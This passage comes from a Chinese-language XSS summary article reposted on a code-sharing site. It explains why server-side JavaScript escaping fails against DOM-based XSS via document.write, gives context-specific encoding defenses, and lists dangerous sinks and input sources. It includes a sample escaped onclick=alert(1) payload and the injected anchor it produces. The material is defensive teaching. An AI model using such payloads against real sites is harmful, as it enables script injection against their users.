假設為了保護$var直接在<script>標簽內產生XSS,服務器端對齊進行了JavascriptEscape。可是$var在document.write時,仍然能夠產生XSS,如下所示:

<script> var x="\x20\x27onlick\x3dalert\x281\x29\x3b..."; document.write("test"); </script>

頁面渲染之后的實際結果如下: 
XSS攻擊成功。 
其原因在於,第一次執行JavascriptEscape后,只保護了: 
var x="$var"; 
但是當document.write輸出數據到HTML頁面時,瀏覽器重新渲染了頁面。在<script>標簽執行時,已經對變量x進行了解碼,其后document.write再運行時,其參數就變成了: 
<a href='http://cracer.com/blog/ 'onclick=alert(1);//' ' >test</a> 
XSS因此而產生。 
如果改成HtmlEncode也是如此。 
正確的防御方法是什么呢? 
首先,在$var輸出到<script>時,應該執行一次javascriptEncode;其次,在document.write輸出到HTML頁面時,要分具體情況看待:如果是輸出到事件或者腳本,則要再做一 
javascriptEncode;如果是輸出到HTML內容或者屬性,則要做一次HtmlEncode。 
也就是說,從JavaScript輸出到HTML頁面,也相當於一次XSS輸出的過程,需要分語境使用不同的編碼函數。 
會觸發DOM Based XSS的地方很多,以下幾個地方是JavaScript輸出到HTML頁面的必經之路。 
a) document.write() document.writeln() 
b) xxx.innerHTML= xxx.outerHTML= 
c) innerHTML.replace 
d) document.attachEvent() window.attachEvent() 
e) document.location.replace() document.location.assign() 
… 
除了服務器端直接輸出變量到Javascript之外,還有以下幾個地方可能會成為DOM Based XSS的輸入點,也需要重點關注。 
a) 頁面中所有的inputs框 
b) window.location(href、hash等) 
c) window.name 
d) document.referrer 
e) document.cookie 
f) localstorage 
g) XMLHttpRequest返回的數據

換個角度看XSS的風險

從業務角度看XSS風險,用戶之間有互動的頁面的風險肯定比沒有互動的頁面的風險高。應重點修補風險高的頁面。 
理論上,XSS漏洞雖然復雜,但卻是可以徹底解決的。在設計XSS解決方案時,應該深入理解XSS攻擊的原理,針對不同的場景使用不同的方法。同時有很多開源項目為我們提供了參考。

 

轉載請注明來自Cracer,本文標題:《XSS漏洞總結》


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM